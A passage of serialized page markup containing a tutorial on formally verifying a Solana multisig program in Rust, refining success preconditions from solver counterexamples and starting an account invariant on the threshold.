err!",{"type":24,"tag":327,"props":4951,"children":4952},{"style":346},[4953],{"type":29,"value":349},{"type":24,"tag":327,"props":4955,"children":4956},{"style":1639},[4957],{"type":29,"value":4958},"MsError",{"type":24,"tag":327,"props":4960,"children":4961},{"style":381},[4962],{"type":29,"value":2407},{"type":24,"tag":327,"props":4964,"children":4965},{"style":1639},[4966],{"type":29,"value":4967},"EmptyMembers",{"type":24,"tag":327,"props":4969,"children":4970},{"style":346},[4971],{"type":29,"value":583},{"type":24,"tag":327,"props":4973,"children":4975},{"class":329,"line":4974},32,[4976],{"type":24,"tag":327,"props":4977,"children":4978},{"style":346},[4979],{"type":29,"value":535},{"type":24,"tag":327,"props":4981,"children":4983},{"class":329,"line":4982},33,[4984],{"type":24,"tag":327,"props":4985,"children":4986},{"emptyLinePlaceholder":16},[4987],{"type":29,"value":544},{"type":24,"tag":327,"props":4989,"children":4991},{"class":329,"line":4990},34,[4992],{"type":24,"tag":327,"props":4993,"children":4994},{"style":551},[4995],{"type":29,"value":4996},"    // make sure we don't exceed u16 on first call\n",{"type":24,"tag":327,"props":4998,"children":5000},{"class":329,"line":4999},35,[5001,5005,5009,5014,5018,5022,5026,5031,5035],{"type":24,"tag":327,"props":5002,"children":5003},{"style":425},[5004],{"type":29,"value":428},{"type":24,"tag":327,"props":5006,"children":5007},{"style":356},[5008],{"type":29,"value":4889},{"type":24,"tag":327,"props":5010,"children":5011},{"style":381},[5012],{"type":29,"value":5013}," >",{"type":24,"tag":327,"props":5015,"children":5016},{"style":1639},[5017],{"type":29,"value":2422},{"type":24,"tag":327,"props":5019,"children":5020},{"style":381},[5021],{"type":29,"value":2407},{"type":24,"tag":327,"props":5023,"children":5024},{"style":340},[5025],{"type":29,"value":802},{"type":24,"tag":327,"props":5027,"children":5028},{"style":346},[5029],{"type":29,"value":5030},"(u16",{"type":24,"tag":327,"props":5032,"children":5033},{"style":381},[5034],{"type":29,"value":2407},{"type":24,"tag":327,"props":5036,"children":5037},{"style":346},[5038],{"type":29,"value":5039},"MAX) {\n",{"type":24,"tag":327,"props":5041,"children":5043},{"class":329,"line":5042},36,[5044,5048,5052,5056,5060,5064,5069],{"type":24,"tag":327,"props":5045,"children":5046},{"style":425},[5047],{"type":29,"value":4944},{"type":24,"tag":327,"props":5049,"children":5050},{"style":340},[5051],{"type":29,"value":4949},{"type":24,"tag":327,"props":5053,"children":5054},{"style":346},[5055],{"type":29,"value":349},{"type":24,"tag":327,"props":5057,"children":5058},{"style":1639},[5059],{"type":29,"value":4958},{"type":24,"tag":327,"props":5061,"children":5062},{"style":381},[5063],{"type":29,"value":2407},{"type":24,"tag":327,"props":5065,"children":5066},{"style":1639},[5067],{"type":29,"value":5068},"MaxMembersReached",{"type":24,"tag":327,"props":5070,"children":5071},{"style":346},[5072],{"type":29,"value":583},{"type":24,"tag":327,"props":5074,"children":5076},{"class":329,"line":5075},37,[5077],{"type":24,"tag":327,"props":5078,"children":5079},{"style":346},[5080],{"type":29,"value":535},{"type":24,"tag":327,"props":5082,"children":5084},{"class":329,"line":5083},38,[5085],{"type":24,"tag":327,"props":5086,"children":5087},{"emptyLinePlaceholder":16},[5088],{"type":29,"value":544},{"type":24,"tag":327,"props":5090,"children":5092},{"class":329,"line":5091},39,[5093],{"type":24,"tag":327,"props":5094,"children":5095},{"style":551},[5096],{"type":29,"value":5097},"    // make sure threshold is valid\n",{"type":24,"tag":327,"props":5099,"children":5101},{"class":329,"line":5100},40,[5102,5106,5110,5114,5118,5122,5126,5131,5135,5140,5144,5148,5152,5156,5160,5165,5170],{"type":24,"tag":327,"props":5103,"children":5104},{"style":425},[5105],{"type":29,"value":428},{"type":24,"tag":327,"props":5107,"children":5108},{"style":1639},[5109],{"type":29,"value":2422},{"type":24,"tag":327,"props":5111,"children":5112},{"style":381},[5113],{"type":29,"value":2407},{"type":24,"tag":327,"props":5115,"children":5116},{"style":340},[5117],{"type":29,"value":802},{"type":24,"tag":327,"props":5119,"children":5120},{"style":346},[5121],{"type":29,"value":349},{"type":24,"tag":327,"props":5123,"children":5124},{"style":356},[5125],{"type":29,"value":4161},{"type":24,"tag":327,"props":5127,"children":5128},{"style":346},[5129],{"type":29,"value":5130},") \u003C ",{"type":24,"tag":327,"props":5132,"children":5133},{"style":397},[5134],{"type":29,"value":3238},{"type":24,"tag":327,"props":5136,"children":5137},{"style":381},[5138],{"type":29,"value":5139}," ||",{"type":24,"tag":327,"props":5141,"children":5142},{"style":1639},[5143],{"type":29,"value":2422},{"type":24,"tag":327,"props":5145,"children":5146},{"style":381},[5147],{"type":29,"value":2407},{"type":24,"tag":327,"props":5149,"children":5150},{"style":340},[5151],{"type":29,"value":802},{"type":24,"tag":327,"props":5153,"children":5154},{"style":346},[5155],{"type":29,"value":349},{"type":24,"tag":327,"props":5157,"children":5158},{"style":356},[5159],{"type":29,"value":4161},{"type":24,"tag":327,"props":5161,"children":5162},{"style":346},[5163],{"type":29,"value":5164},") > ",{"type":24,"tag":327,"props":5166,"children":5167},{"style":356},[5168],{"type":29,"value":5169},"total_members",{"type":24,"tag":327,"props":5171,"children":5172},{"style":346},[5173],{"type":29,"value":497},{"type":24,"tag":327,"props":5175,"children":5177},{"class":329,"line":5176},41,[5178,5182,5186,5190,5194,5198,5203],{"type":24,"tag":327,"props":5179,"children":5180},{"style":425},[5181],{"type":29,"value":4944},{"type":24,"tag":327,"props":5183,"children":5184},{"style":340},[5185],{"type":29,"value":4949},{"type":24,"tag":327,"props":5187,"children":5188},{"style":346},[5189],{"type":29,"value":349},{"type":24,"tag":327,"props":5191,"children":5192},{"style":1639},[5193],{"type":29,"value":4958},{"type":24,"tag":327,"props":5195,"children":5196},{"style":381},[5197],{"type":29,"value":2407},{"type":24,"tag":327,"props":5199,"children":5200},{"style":1639},[5201],{"type":29,"value":5202},"InvalidThreshold",{"type":24,"tag":327,"props":5204,"children":5205},{"style":346},[5206],{"type":29,"value":583},{"type":24,"tag":327,"props":5208,"children":5210},{"class":329,"line":5209},42,[5211],{"type":24,"tag":327,"props":5212,"children":5213},{"style":346},[5214],{"type":29,"value":535},{"type":24,"tag":327,"props":5216,"children":5218},{"class":329,"line":5217},43,[5219],{"type":24,"tag":327,"props":5220,"children":5221},{"emptyLinePlaceholder":16},[5222],{"type":29,"value":544},{"type":24,"tag":327,"props":5224,"children":5226},{"class":329,"line":5225},44,[5227,5231,5235,5240,5244,5249,5253,5257],{"type":24,"tag":327,"props":5228,"children":5229},{"style":356},[5230],{"type":29,"value":1573},{"type":24,"tag":327,"props":5232,"children":5233},{"style":381},[5234],{"type":29,"value":66},{"type":24,"tag":327,"props":5236,"children":5237},{"style":346},[5238],{"type":29,"value":5239},"accounts",{"type":24,"tag":327,"props":5241,"children":5242},{"style":381},[5243],{"type":29,"value":66},{"type":24,"tag":327,"props":5245,"children":5246},{"style":346},[5247],{"type":29,"value":5248},"multisig",{"type":24,"tag":327,"props":5250,"children":5251},{"style":381},[5252],{"type":29,"value":66},{"type":24,"tag":327,"props":5254,"children":5255},{"style":340},[5256],{"type":29,"value":2106},{"type":24,"tag":327,"props":5258,"children":5259},{"style":346},[5260],{"type":29,"value":4663},{"type":24,"tag":327,"props":5262,"children":5264},{"class":329,"line":5263},45,[5265,5270],{"type":24,"tag":327,"props":5266,"children":5267},{"style":356},[5268],{"type":29,"value":5269},"        threshold",{"type":24,"tag":327,"props":5271,"children":5272},{"style":346},[5273],{"type":29,"value":2231},{"type":24,"tag":327,"props":5275,"children":5277},{"class":329,"line":5276},46,[5278,5283],{"type":24,"tag":327,"props":5279,"children":5280},{"style":356},[5281],{"type":29,"value":5282},"        create_key",{"type":24,"tag":327,"props":5284,"children":5285},{"style":346},[5286],{"type":29,"value":2231},{"type":24,"tag":327,"props":5288,"children":5290},{"class":329,"line":5289},47,[5291,5296],{"type":24,"tag":327,"props":5292,"children":5293},{"style":356},[5294],{"type":29,"value":5295},"        members",{"type":24,"tag":327,"props":5297,"children":5298},{"style":346},[5299],{"type":29,"value":2231},{"type":24,"tag":327,"props":5301,"children":5303},{"class":329,"line":5302},48,[5304,5309,5313,5317,5322,5326,5331,5335,5340,5344,5348,5353],{"type":24,"tag":327,"props":5305,"children":5306},{"style":381},[5307],{"type":29,"value":5308},"        *",{"type":24,"tag":327,"props":5310,"children":5311},{"style":356},[5312],{"type":29,"value":1631},{"type":24,"tag":327,"props":5314,"children":5315},{"style":381},[5316],{"type":29,"value":66},{"type":24,"tag":327,"props":5318,"children":5319},{"style":346},[5320],{"type":29,"value":5321},"bumps",{"type":24,"tag":327,"props":5323,"children":5324},{"style":381},[5325],{"type":29,"value":66},{"type":24,"tag":327,"props":5327,"children":5328},{"style":340},[5329],{"type":29,"value":5330},"get",{"type":24,"tag":327,"props":5332,"children":5333},{"style":346},[5334],{"type":29,"value":349},{"type":24,"tag":327,"props":5336,"children":5337},{"style":844},[5338],{"type":29,"value":5339},"\"multisig\"",{"type":24,"tag":327,"props":5341,"children":5342},{"style":346},[5343],{"type":29,"value":3146},{"type":24,"tag":327,"props":5345,"children":5346},{"style":381},[5347],{"type":29,"value":66},{"type":24,"tag":327,"props":5349,"children":5350},{"style":340},[5351],{"type":29,"value":5352},"unwrap",{"type":24,"tag":327,"props":5354,"children":5355},{"style":346},[5356],{"type":29,"value":5357},"(),\n",{"type":24,"tag":327,"props":5359,"children":5361},{"class":329,"line":5360},49,[5362],{"type":24,"tag":327,"props":5363,"children":5364},{"style":346},[5365],{"type":29,"value":5366},"    )\n",{"type":24,"tag":327,"props":5368,"children":5370},{"class":329,"line":5369},50,[5371],{"type":24,"tag":327,"props":5372,"children":5373},{"style":346},[5374],{"type":29,"value":592},{"type":24,"tag":25,"props":5376,"children":5377},{},[5378,5380,5385,5387,5392],{"type":29,"value":5379},"We can start by testing an empty ",{"type":24,"tag":284,"props":5381,"children":5383},{"className":5382},[],[5384],{"type":29,"value":1501},{"type":29,"value":5386}," (this will default to ",{"type":24,"tag":284,"props":5388,"children":5390},{"className":5389},[],[5391],{"type":29,"value":2961},{"type":29,"value":5393},"):",{"type":24,"tag":317,"props":5395,"children":5397},{"code":5396,"language":1552,"meta":7,"className":1553,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[5398],{"type":24,"tag":284,"props":5399,"children":5400},{"__ignoreMap":7},[5401,5409],{"type":24,"tag":327,"props":5402,"children":5403},{"class":329,"line":330},[5404],{"type":24,"tag":327,"props":5405,"children":5406},{"style":346},[5407],{"type":29,"value":5408},"#[succeeds_if()]\n",{"type":24,"tag":327,"props":5410,"children":5411},{"class":329,"line":367},[5412,5416,5420,5424,5428,5432,5437,5441],{"type":24,"tag":327,"props":5413,"children":5414},{"style":334},[5415],{"type":29,"value":2524},{"type":24,"tag":327,"props":5417,"children":5418},{"style":334},[5419],{"type":29,"value":4653},{"type":24,"tag":327,"props":5421,"children":5422},{"style":340},[5423],{"type":29,"value":4658},{"type":24,"tag":327,"props":5425,"children":5426},{"style":346},[5427],{"type":29,"value":349},{"type":24,"tag":327,"props":5429,"children":5430},{"style":381},[5431],{"type":29,"value":1922},{"type":24,"tag":327,"props":5433,"children":5434},{"style":346},[5435],{"type":29,"value":5436},") { ",{"type":24,"tag":327,"props":5438,"children":5439},{"style":381},[5440],{"type":29,"value":1922},{"type":24,"tag":327,"props":5442,"children":5443},{"style":346},[5444],{"type":29,"value":1949},{"type":24,"tag":25,"props":5446,"children":5447},{},[5448],{"type":29,"value":5449},"Running the solver, we get:",{"type":24,"tag":317,"props":5451,"children":5453},{"code":5452},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[5454],{"type":24,"tag":284,"props":5455,"children":5456},{"__ignoreMap":7},[5457],{"type":29,"value":5452},{"type":24,"tag":25,"props":5459,"children":5460},{},[5461,5463,5468],{"type":29,"value":5462},"This means that ",{"type":24,"tag":284,"props":5464,"children":5466},{"className":5465},[],[5467],{"type":29,"value":2961},{"type":29,"value":5469}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":24,"tag":25,"props":5471,"children":5472},{},[5473],{"type":29,"value":5474},"We can ask the solver to produce a counterexample:",{"type":24,"tag":317,"props":5476,"children":5478},{"code":5477},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[5479],{"type":24,"tag":284,"props":5480,"children":5481},{"__ignoreMap":7},[5482],{"type":29,"value":5477},{"type":24,"tag":25,"props":5484,"children":5485},{},[5486],{"type":29,"value":5487},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":24,"tag":25,"props":5489,"children":5490},{},[5491],{"type":24,"tag":42,"props":5492,"children":5493},{},[5494,5496,5502],{"type":29,"value":5495},"Note also that the verifier decided to use a ",{"type":24,"tag":284,"props":5497,"children":5499},{"className":5498},[],[5500],{"type":29,"value":5501},"SparseVec",{"type":29,"value":5503}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":24,"tag":25,"props":5505,"children":5506},{},[5507],{"type":24,"tag":42,"props":5508,"children":5509},{},[5510,5512,5518,5519,5525,5527,5532,5534,5540],{"type":29,"value":5511},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":24,"tag":284,"props":5513,"children":5515},{"className":5514},[],[5516],{"type":29,"value":5517},"push",{"type":29,"value":1323},{"type":24,"tag":284,"props":5520,"children":5522},{"className":5521},[],[5523],{"type":29,"value":5524},"pop",{"type":29,"value":5526}," are stubbed out to simply panic for the ",{"type":24,"tag":284,"props":5528,"children":5530},{"className":5529},[],[5531],{"type":29,"value":5501},{"type":29,"value":5533}," and if this code tried to do that we would fall back to the concrete ",{"type":24,"tag":284,"props":5535,"children":5537},{"className":5536},[],[5538],{"type":29,"value":5539},"Vec",{"type":29,"value":5541}," type.",{"type":24,"tag":25,"props":5543,"children":5544},{},[5545],{"type":29,"value":5546},"We can add this to our constraint and try again:",{"type":24,"tag":317,"props":5548,"children":5550},{"code":5549,"language":1552,"meta":7,"className":1553,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[5551],{"type":24,"tag":284,"props":5552,"children":5553},{"__ignoreMap":7},[5554,5562,5599,5606],{"type":24,"tag":327,"props":5555,"children":5556},{"class":329,"line":330},[5557],{"type":24,"tag":327,"props":5558,"children":5559},{"style":346},[5560],{"type":29,"value":5561},"#[succeeds_if(\n",{"type":24,"tag":327,"props":5563,"children":5564},{"class":329,"line":367},[5565,5570,5574,5578,5582,5586,5590,5594],{"type":24,"tag":327,"props":5566,"children":5567},{"style":346},[5568],{"type":29,"value":5569},"    (threshold ",{"type":24,"tag":327,"props":5571,"children":5572},{"style":334},[5573],{"type":29,"value":2479},{"type":24,"tag":327,"props":5575,"children":5576},{"style":1639},[5577],{"type":29,"value":2422},{"type":24,"tag":327,"props":5579,"children":5580},{"style":346},[5581],{"type":29,"value":1674},{"type":24,"tag":327,"props":5583,"children":5584},{"style":381},[5585],{"type":29,"value":743},{"type":24,"tag":327,"props":5587,"children":5588},{"style":346},[5589],{"type":29,"value":4804},{"type":24,"tag":327,"props":5591,"children":5592},{"style":381},[5593],{"type":29,"value":66},{"type":24,"tag":327,"props":5595,"children":5596},{"style":346},[5597],{"type":29,"value":5598},"len()\n",{"type":24,"tag":327,"props":5600,"children":5601},{"class":329,"line":408},[5602],{"type":24,"tag":327,"props":5603,"children":5604},{"style":346},[5605],{"type":29,"value":1609},{"type":24,"tag":327,"props":5607,"children":5608},{"class":329,"line":421},[5609,5613,5617,5621,5625,5629,5633,5637],{"type":24,"tag":327,"props":5610,"children":5611},{"style":334},[5612],{"type":29,"value":2524},{"type":24,"tag":327,"props":5614,"children":5615},{"style":334},[5616],{"type":29,"value":4653},{"type":24,"tag":327,"props":5618,"children":5619},{"style":340},[5620],{"type":29,"value":4658},{"type":24,"tag":327,"props":5622,"children":5623},{"style":346},[5624],{"type":29,"value":349},{"type":24,"tag":327,"props":5626,"children":5627},{"style":381},[5628],{"type":29,"value":1922},{"type":24,"tag":327,"props":5630,"children":5631},{"style":346},[5632],{"type":29,"value":5436},{"type":24,"tag":327,"props":5634,"children":5635},{"style":381},[5636],{"type":29,"value":1922},{"type":24,"tag":327,"props":5638,"children":5639},{"style":346},[5640],{"type":29,"value":1949},{"type":24,"tag":25,"props":5642,"children":5643},{},[5644],{"type":29,"value":5645},"Verification failed again! This time we get a different counterexample:",{"type":24,"tag":317,"props":5647,"children":5649},{"code":5648},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[5650],{"type":24,"tag":284,"props":5651,"children":5652},{"__ignoreMap":7},[5653],{"type":29,"value":5648},{"type":24,"tag":25,"props":5655,"children":5656},{},[5657],{"type":29,"value":5658},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":24,"tag":317,"props":5660,"children":5662},{"code":5661,"language":1552,"meta":7,"className":1553,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[5663],{"type":24,"tag":284,"props":5664,"children":5665},{"__ignoreMap":7},[5666,5673,5708,5729,5736],{"type":24,"tag":327,"props":5667,"children":5668},{"class":329,"line":330},[5669],{"type":24,"tag":327,"props":5670,"children":5671},{"style":346},[5672],{"type":29,"value":5561},{"type":24,"tag":327,"props":5674,"children":5675},{"class":329,"line":367},[5676,5680,5684,5688,5692,5696,5700,5704],{"type":24,"tag":327,"props":5677,"children":5678},{"style":346},[5679],{"type":29,"value":5569},{"type":24,"tag":327,"props":5681,"children":5682},{"style":334},[5683],{"type":29,"value":2479},{"type":24,"tag":327,"props":5685,"children":5686},{"style":1639},[5687],{"type":29,"value":2422},{"type":24,"tag":327,"props":5689,"children":5690},{"style":346},[5691],{"type":29,"value":1674},{"type":24,"tag":327,"props":5693,"children":5694},{"style":381},[5695],{"type":29,"value":743},{"type":24,"tag":327,"props":5697,"children":5698},{"style":346},[5699],{"type":29,"value":4804},{"type":24,"tag":327,"props":5701,"children":5702},{"style":381},[5703],{"type":29,"value":66},{"type":24,"tag":327,"props":5705,"children":5706},{"style":346},[5707],{"type":29,"value":5598},{"type":24,"tag":327,"props":5709,"children":5710},{"class":329,"line":408},[5711,5715,5720,5724],{"type":24,"tag":327,"props":5712,"children":5713},{"style":381},[5714],{"type":29,"value":2371},{"type":24,"tag":327,"props":5716,"children":5717},{"style":346},[5718],{"type":29,"value":5719}," threshold ",{"type":24,"tag":327,"props":5721,"children":5722},{"style":381},[5723],{"type":29,"value":573},{"type":24,"tag":327,"props":5725,"children":5726},{"style":346},[5727],{"type":29,"value":5728}," 0\n",{"type":24,"tag":327,"props":5730,"children":5731},{"class":329,"line":421},[5732],{"type":24,"tag":327,"props":5733,"children":5734},{"style":346},[5735],{"type":29,"value":1609},{"type":24,"tag":327,"props":5737,"children":5738},{"class":329,"line":450},[5739,5743,5747,5751,5755,5759,5763,5767],{"type":24,"tag":327,"props":5740,"children":5741},{"style":334},[5742],{"type":29,"value":2524},{"type":24,"tag":327,"props":5744,"children":5745},{"style":334},[5746],{"type":29,"value":4653},{"type":24,"tag":327,"props":5748,"children":5749},{"style":340},[5750],{"type":29,"value":4658},{"type":24,"tag":327,"props":5752,"children":5753},{"style":346},[5754],{"type":29,"value":349},{"type":24,"tag":327,"props":5756,"children":5757},{"style":381},[5758],{"type":29,"value":1922},{"type":24,"tag":327,"props":5760,"children":5761},{"style":346},[5762],{"type":29,"value":5436},{"type":24,"tag":327,"props":5764,"children":5765},{"style":381},[5766],{"type":29,"value":1922},{"type":24,"tag":327,"props":5768,"children":5769},{"style":346},[5770],{"type":29,"value":1949},{"type":24,"tag":25,"props":5772,"children":5773},{},[5774],{"type":29,"value":5775},"A third counterexample:",{"type":24,"tag":317,"props":5777,"children":5779},{"code":5778},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[5780],{"type":24,"tag":284,"props":5781,"children":5782},{"__ignoreMap":7},[5783],{"type":29,"value":5778},{"type":24,"tag":25,"props":5785,"children":5786},{},[5787,5789,5795],{"type":29,"value":5788},"Here we see the size of our ",{"type":24,"tag":284,"props":5790,"children":5792},{"className":5791},[],[5793],{"type":29,"value":5794},"members",{"type":29,"value":5796}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":24,"tag":317,"props":5798,"children":5800},{"code":5799,"language":1552,"meta":7,"className":1553,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[5801],{"type":24,"tag":284,"props":5802,"children":5803},{"__ignoreMap":7},[5804,5811,5846,5867,5920,5927],{"type":24,"tag":327,"props":5805,"children":5806},{"class":329,"line":330},[5807],{"type":24,"tag":327,"props":5808,"children":5809},{"style":346},[5810],{"type":29,"value":5561},{"type":24,"tag":327,"props":5812,"children":5813},{"class":329,"line":367},[5814,5818,5822,5826,5830,5834,5838,5842],{"type":24,"tag":327,"props":5815,"children":5816},{"style":346},[5817],{"type":29,"value":5569},{"type":24,"tag":327,"props":5819,"children":5820},{"style":334},[5821],{"type":29,"value":2479},{"type":24,"tag":327,"props":5823,"children":5824},{"style":1639},[5825],{"type":29,"value":2422},{"type":24,"tag":327,"props":5827,"children":5828},{"style":346},[5829],{"type":29,"value":1674},{"type":24,"tag":327,"props":5831,"children":5832},{"style":381},[5833],{"type":29,"value":743},{"type":24,"tag":327,"props":5835,"children":5836},{"style":346},[5837],{"type":29,"value":4804},{"type":24,"tag":327,"props":5839,"children":5840},{"style":381},[5841],{"type":29,"value":66},{"type":24,"tag":327,"props":5843,"children":5844},{"style":346},[5845],{"type":29,"value":5598},{"type":24,"tag":327,"props":5847,"children":5848},{"class":329,"line":408},[5849,5853,5858,5862],{"type":24,"tag":327,"props":5850,"children":5851},{"style":381},[5852],{"type":29,"value":2371},{"type":24,"tag":327,"props":5854,"children":5855},{"style":346},[5856],{"type":29,"value":5857}," (threshold ",{"type":24,"tag":327,"props":5859,"children":5860},{"style":381},[5861],{"type":29,"value":573},{"type":24,"tag":327,"props":5863,"children":5864},{"style":346},[5865],{"type":29,"value":5866}," 0)\n",{"type":24,"tag":327,"props":5868,"children":5869},{"class":329,"line":421},[5870,5874,5878,5882,5886,5890,5895,5900,5904,5908,5912,5916],{"type":24,"tag":327,"props":5871,"children":5872},{"style":381},[5873],{"type":29,"value":2371},{"type":24,"tag":327,"props":5875,"children":5876},{"style":346},[5877],{"type":29,"value":4412},{"type":24,"tag":327,"props":5879,"children":5880},{"style":381},[5881],{"type":29,"value":66},{"type":24,"tag":327,"props":5883,"children":5884},{"style":346},[5885],{"type":29,"value":2393},{"type":24,"tag":327,"props":5887,"children":5888},{"style":381},[5889],{"type":29,"value":743},{"type":24,"tag":327,"props":5891,"children":5892},{"style":346},[5893],{"type":29,"value":5894}," (",{"type":24,"tag":327,"props":5896,"children":5897},{"style":1639},[5898],{"type":29,"value":5899},"u16",{"type":24,"tag":327,"props":5901,"children":5902},{"style":381},[5903],{"type":29,"value":2407},{"type":24,"tag":327,"props":5905,"children":5906},{"style":1639},[5907],{"type":29,"value":2412},{"type":24,"tag":327,"props":5909,"children":5910},{"style":334},[5911],{"type":29,"value":2417},{"type":24,"tag":327,"props":5913,"children":5914},{"style":1639},[5915],{"type":29,"value":2422},{"type":24,"tag":327,"props":5917,"children":5918},{"style":346},[5919],{"type":29,"value":1045},{"type":24,"tag":327,"props":5921,"children":5922},{"class":329,"line":450},[5923],{"type":24,"tag":327,"props":5924,"children":5925},{"style":346},[5926],{"type":29,"value":1609},{"type":24,"tag":327,"props":5928,"children":5929},{"class":329,"line":481},[5930,5934,5938,5942,5946,5950,5954,5958],{"type":24,"tag":327,"props":5931,"children":5932},{"style":334},[5933],{"type":29,"value":2524},{"type":24,"tag":327,"props":5935,"children":5936},{"style":334},[5937],{"type":29,"value":4653},{"type":24,"tag":327,"props":5939,"children":5940},{"style":340},[5941],{"type":29,"value":4658},{"type":24,"tag":327,"props":5943,"children":5944},{"style":346},[5945],{"type":29,"value":349},{"type":24,"tag":327,"props":5947,"children":5948},{"style":381},[5949],{"type":29,"value":1922},{"type":24,"tag":327,"props":5951,"children":5952},{"style":346},[5953],{"type":29,"value":5436},{"type":24,"tag":327,"props":5955,"children":5956},{"style":381},[5957],{"type":29,"value":1922},{"type":24,"tag":327,"props":5959,"children":5960},{"style":346},[5961],{"type":29,"value":1949},{"type":24,"tag":25,"props":5963,"children":5964},{},[5965],{"type":29,"value":5966},"And now we get:",{"type":24,"tag":317,"props":5968,"children":5970},{"code":5969},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[5971],{"type":24,"tag":284,"props":5972,"children":5973},{"__ignoreMap":7},[5974],{"type":29,"value":5969},{"type":24,"tag":25,"props":5976,"children":5977},{},[5978],{"type":29,"value":5979},"🥳🥳🥳",{"type":24,"tag":25,"props":5981,"children":5982},{},[5983],{"type":29,"value":5984},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":24,"tag":317,"props":5986,"children":5988},{"code":5987,"language":1552,"meta":7,"className":1553,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[5989],{"type":24,"tag":284,"props":5990,"children":5991},{"__ignoreMap":7},[5992,6016,6048],{"type":24,"tag":327,"props":5993,"children":5994},{"class":329,"line":330},[5995,6000,6004,6008,6012],{"type":24,"tag":327,"props":5996,"children":5997},{"style":425},[5998],{"type":29,"value":5999},"if",{"type":24,"tag":327,"props":6001,"children":6002},{"style":356},[6003],{"type":29,"value":4889},{"type":24,"tag":327,"props":6005,"children":6006},{"style":381},[6007],{"type":29,"value":4927},{"type":24,"tag":327,"props":6009,"children":6010},{"style":397},[6011],{"type":29,"value":522},{"type":24,"tag":327,"props":6013,"children":6014},{"style":346},[6015],{"type":29,"value":497},{"type":24,"tag":327,"props":6017,"children":6018},{"class":329,"line":367},[6019,6024,6028,6032,6036,6040,6044],{"type":24,"tag":327,"props":6020,"children":6021},{"style":425},[6022],{"type":29,"value":6023},"    return",{"type":24,"tag":327,"props":6025,"children":6026},{"style":340},[6027],{"type":29,"value":4949},{"type":24,"tag":327,"props":6029,"children":6030},{"style":346},[6031],{"type":29,"value":349},{"type":24,"tag":327,"props":6033,"children":6034},{"style":1639},[6035],{"type":29,"value":4958},{"type":24,"tag":327,"props":6037,"children":6038},{"style":381},[6039],{"type":29,"value":2407},{"type":24,"tag":327,"props":6041,"children":6042},{"style":1639},[6043],{"type":29,"value":4967},{"type":24,"tag":327,"props":6045,"children":6046},{"style":346},[6047],{"type":29,"value":583},{"type":24,"tag":327,"props":6049,"children":6050},{"class":329,"line":408},[6051],{"type":24,"tag":327,"props":6052,"children":6053},{"style":346},[6054],{"type":29,"value":592},{"type":24,"tag":25,"props":6056,"children":6057},{},[6058,6060,6066,6068,6073,6075,6080,6082,6087],{"type":29,"value":6059},"In this case this is actually redundant because if ",{"type":24,"tag":284,"props":6061,"children":6063},{"className":6062},[],[6064],{"type":29,"value":6065},"members.len() == 0",{"type":29,"value":6067}," then our threshold would also have to be ",{"type":24,"tag":284,"props":6069,"children":6071},{"className":6070},[],[6072],{"type":29,"value":2988},{"type":29,"value":6074}," (and our ",{"type":24,"tag":284,"props":6076,"children":6078},{"className":6077},[],[6079],{"type":29,"value":4161},{"type":29,"value":6081}," is not allowed to be ",{"type":24,"tag":284,"props":6083,"children":6085},{"className":6084},[],[6086],{"type":29,"value":2988},{"type":29,"value":6088},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":24,"tag":235,"props":6090,"children":6092},{"id":6091},"_2-verify-threshold-requirements",[6093],{"type":29,"value":6094},"2. Verify threshold requirements",{"type":24,"tag":25,"props":6096,"children":6097},{},[6098],{"type":29,"value":6099},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":24,"tag":25,"props":6101,"children":6102},{},[6103,6105,6110],{"type":29,"value":6104},"Unlike the previous example, we want to verify this in ",{"type":24,"tag":42,"props":6106,"children":6107},{},[6108],{"type":29,"value":6109},"all",{"type":29,"value":6111}," cases. I.e. any instruction that could mutate the multisig account.",{"type":24,"tag":25,"props":6113,"children":6114},{},[6115,6117,6121,6123,6128],{"type":29,"value":6116},"In this case, we want to model this as an ",{"type":24,"tag":42,"props":6118,"children":6119},{},[6120],{"type":29,"value":3184},{"type":29,"value":6122}," on the ",{"type":24,"tag":284,"props":6124,"children":6126},{"className":6125},[],[6127],{"type":29,"value":4153},{"type":29,"value":6129}," account struct:",{"type":24,"tag":317,"props":6131,"children":6133},{"code":6132,"language":1552,"meta":7,"className":1553,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the 